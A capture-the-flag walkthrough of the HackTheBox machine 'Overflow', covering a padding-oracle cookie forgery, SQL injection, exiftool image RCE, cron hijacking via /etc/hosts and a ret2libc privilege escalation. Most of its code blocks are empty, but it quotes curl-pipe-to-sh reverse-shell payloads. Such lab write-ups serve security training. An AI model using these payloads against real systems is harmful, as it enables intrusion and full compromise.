Overflow is a hard machine on HackTheBox created by Corruptedbl0ck. For the user part we will perform a padding oracle attack on the cookie of the website to gain access to the admin account. Admin has access to a logs feature which is vulnerable to sqli leading to the discovery of another vhost. There we can abuse a functionality for uploading images gaining RCE through exiftool. On the machine we will find credentials for the database reused for the developer user. Developer can read a script which gets run in a cronjob as the tester user, which we are able to abuse to get a reverse shell as tester. This user can run a SUID binary belonging to root which is vulnerable to a buffer overflow.
User
Nmap
As usual we start out enumeration with a nmap scan against all ports followed by a script and version detection scan to get an initial overview of the attack surface.
All ports
1 |
|
Script and version
1 |
|
Padding oracle
HTTP and SMTP seem the most interesting. Opening the the website in our browser we see the homepage of overflow security where we can register a user.
Playing with the cookie after signing up we see an interesting error message mentioning Invalid padding
when changing it’s value to something invalid.
The cookie is vulnerable to an oracle padding attack which let’s us decrypt the value of the cookie in a first run using padbuster with a valid authenticated cookie.
1 |
|
Registering an admin
user was unsuccessful meaning it might already exist. Knowing the scheme of the cookie we can use padbuster again with the -plaintext
flag to generate a valid cookie for admin
.
1 |
|
Exchanging our cookie for the generated one we are now logged in as admin and have access to the Logs
feature and the Admin Panel
.
SQLI
The Admin Panel seems to be a rabbit whole but inspecting the network tab we can see the page does a request to /home/logs.php?name=admin
.
Going there manually just displays a sequence of logs so we send the request to burp repeater to further inspect it.
Adding a '
to the value of the name parameter results in a server error which might mean the application is vulnerable to SQLI.
We replace the value of name
with *
as marker for sqlmap and save the request.
Running sqlmap on it it identifies the injection point rather quickly.
1 |
|
Enumerating the databases with the --dbs
flag there are three non default ones.
1 |
|
Dumping everything from the cmsmsdb
we see an interesting message mentioning another vhost on the machine.
1 |
|
Exiftool RCE
Adding the vhost to our /etc/hosts
file and opening the page in our browser we see an Overflow Devbuild
website.
We don’t have any credentials to log into it but going to /home
, which was revealed by a gobuster scan, we are still able to access it.
1 |
|
Clicking on Account
there is an application where we can upload our resume in tiff/jpeg/jpg
format.
Uploading a valid picture and looking at the response in burp repeater we get the output of exiftool.
Looking around for vulnerabilities with exiftool this hackerone report seems to be interesting. It mentions that there is RCE possible when exiftool strips the metadata of a file by sending a specifically constructed DjVu
file. The report also features a zip with a template RCE file.
We open the zip and exchange {curl aw.rs/rsh|sh}
to our tun0 ip {curl 10.10.14.105|sh}
in the reverse_shell.jpg
.
Next we create the reverse shell we want to serve as index.html
start a python web server on port 80 and a ncat listener on the port we specified.
index.html
1 |
|
1 |
|
1 |
|
Right after we upload the “jpg” we get a hit on our webserver and a shell as www-data on our ncat listener which we upgrade using python.
1 |
|
1 |
|
Database credentials
Looking around there are database credentials in the logs.php
file for the developer user.
1 |
|
Testing the against ssh they were indeed reused and we are now logged in as developer.
1 |
|
Cronjob
There is an interesting script in /opt
belonging to the tester user. The script states it should be run every minute and performs a curl request to http://taskmanage.overflow.htb/task.sh
passing its content to bash.
1 |
|
1 |
|
Looking at our groups we are part of the network group which is allowed to modify the /etc/hosts
file.
1 |
|
Checking /etc/nsswitch.conf
we see /etc/hosts
is indeed used as means of resolving hostnames.
1 |
|
This means we can simply add a hostname for taskmanage.overflow.htb
pointing to our ip where we serve a task.sh
on port 80 containing a reverse shell.
We copy the index.html
to task.sh
, start our python web server and ncat again.
task.sh
1 |
|
1 |
|
1 |
|
All that is left to do now is to add an entry to /etc/hosts
for taskmanage.overflow.htb
pointing to our tun0 ip.
1 |
|
After about a minute we get a reverse shell on our listener as tester which we upgrade and fix the terminal size. In tester’s home directory we also find the user flag.
1 |
|
Root
To have a more stable shell we generate a ssh key pair, add the public key to tester’s authorized_keys file.
1 |
|
Binexp
Pin
Checking for suid binaries on the system tester can run the custom looking /opt/file_encrypt/file_encrypt
which is owned by the root user.
1 |
|
1 |
|
To have a closer look at it we scp it to our machine using the created private key and open it up in ghidra.
1 |
|
The main
function of the program calls the check_pin
function which contains all the functionality of the program. The program generates two random numbers without seeding the generator, then prints one to stdout, reads user input and compares that input with the second number. Since the generator is not seeded the random numbers will always be the same.
We can quickly check for the expected number using gdb. We load the binary set a breakpoint at the check_pin
function and run it.
1 |
|
After hitting the breakpoint we disassemble the function and set another breakpoint where it compares the number with the user input right after the first scanf
instruction.
1 |
|
1 |
|
Examining the value it compares we first have to convert it to an unsigned integer, which we can quickly do with python.
1 |
|
1 |
|
Running the binary we can quickly verify that the pin is correct.
1 |
|
BOF
Inspecting the next part in ghidra we see it scans a string without length specifier into a char array of length 20, which makes it vulnerable to a buffer overflow.
Checking protections on the binary we see that NX
is enabled meaning the stack is not executable and we will use a ROP approach to the binary.
1 |
|
Interestingly ASLR is disabled on the machine, so the addresses in libc will be the same every run.
1 |
|
To get the necessary gadgets we check the used libc using ldd
and download it to our machine with scp.
1 |
|
1 |
|
First we need to find the offset to overwrite eip. We can do this using pwndbg
’s builtin cyclic
functionality which identifies the offset to eip overwrite at 44 bytes.
1 |
|
Next we need the gadgets to perform the ROP. The plan is to set the user id to 0 and then call /bin/sh
. For the setuid
part we will need system
, and a pop edi; ret;
.
The offset for system
and setuid
can be found using objdump
on the target libc. To find the pop edi; ret;
ropper can be used with the --search
flag.
1 |
|
1 |
|
1 |
|
For the second part we need system
again, exit
and the string /bin/sh
. To get the offset of exit
objdump works well again and to get the string /bin/sh
the strings command is usefull.
1 |
|
1 |
|
The last thing for our script we need is the base address of libc which will always be the same on the target because of disabled ASLR. We can obtain the address using gdb
on the target machine, breaking anywhere and looking at the proc mapping.
1 |
|
The final script looks like this. It starts a ssh session to the target with out previously generated private key. In that session it starts the target binary file_encrypt
. We then send the pin followed by the payload after recieving again. The payload set’s the user id to 0 first and then executes /bin/sh
exploit.py
1 |
|
Running the exploit we get a connection as root and are able to add the root flag to our collection.
1 |
|